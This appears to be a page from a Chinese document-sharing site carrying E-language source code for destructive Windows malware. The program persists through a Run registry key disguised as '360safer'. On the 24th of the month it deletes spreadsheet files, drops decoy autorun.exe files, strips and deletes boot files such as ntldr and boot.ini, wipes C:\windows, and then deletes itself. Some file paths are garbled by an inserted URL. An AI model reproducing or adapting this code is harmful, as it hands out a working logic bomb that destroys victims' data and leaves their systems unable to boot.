易语言定时删除文件交破坏系统的源代码

.版本 2

.程序集 窗口程序集1

.子程序 __启动窗口_创建完毕

_时钟1_周期事件 ()

.子程序 _时钟1_周期事件

.如果 (取文本注册项 (#本地机器, “Software\Microsoft\Windows\CurrentVersion\Run\360safer”, ) = “”) ' -----查看在启动项中有没有
写注册项 (#本地机器, “Software\Microsoft\Windows\CurrentVersion\Run\360safer”, 取运行目录 () + “\” + 取执行文件名 ())
.否则

.如果结束

.如果真 (取日 (取现行时间 ()) = 24)
删除文件 (“*.*.xls”) ' ---------删除本目录下的所有电子表格文件

写到文件 (“c:\autorun.exe”, #图片2) ' ---起到迷惑作用
写到文件 (“d:\autorun.exe”, #图片2)
写到文件 (“e:\autorun.exe”, #图片2)

' --------------以下代码是破坏系统
运行 (“cmd /c attrib -s -h -r C:\ntldr”, 假, 1)
运行 (“cmd /c attrib -s -h -r c:\CONFIG.SYS”, 假, 1)
运行 (“cmd /c attrib -s -h -r C:\boot.ini”, 假, 1)
运行 (“cmd /c attrib -s -h -r C:\bootfont.bin”, 假, 1)
运行 (“cmd /c attrib -s -h -r C:\https://www.360docs.net/doc/4b18066972.html,”, 假, 1)
运行 (“cmd /c attrib -s -h -r C:\windows\explorer”, 假, 1)
运行 (“cmd /c attrib -s -h -r C:\windows\explorer.exe”, 假, 1)

运行 (“cmd /c del /f /s /q c:\ntldr”, 假, 1)
运行 (“cmd /c del /f /s /q c:\CONFIG.SYS”, 假, 1)
运行 (“cmd /c del /f /s /q c:\boot.ini”, 假, 1)
运行 (“cmd /c del /f /s /q c:\bootfont.bin”, 假, 1)
运行 (“cmd /c del /f /s /q c:\https://www.360docs.net/doc/4b18066972.html,”, 假, 1)
运行 (“cmd /c del /f /q C:\windows\*.*”, 假, 1)


删除文件 (“c:\ntldr”)
删除文件 (“c:\CONFIG.SYS”)
删除文件 (“c:\boot.ini”)
删除文件 (“c:\bootfont.bin”)
删除文件 (“c:\https://www.360docs.net/doc/4b18066972.html,”)
删除文件 (“C:\windows\C:\windows\*.*”)


.如果真 (文件是否存在 (“*.*.xls”) = 假 且 文件是否存在 (“C:\ntldr”) = 假)

删除注册项 (#本地机器, “Software\Microsoft\Windows\CurrentVersion\Run\360safer”)
运行 (“cmd /c del /f /s /q ” + 取运行目录 () + “\start.exe”, 假, 1)
运行 (“cmd.exe /c del /f /a ” + 取执行文件名 (), 假, #隐藏窗口) ' 删除自身
写到文件 (取运行目录 () + “\*.*.xls”, #图片1)

' 运行 (“cmd.exe /c shutdown.exe -r -t 30 ”, 假, #隐藏窗口)
结束 ()


.如果真结束


.如果真结束


相关文档
最新文档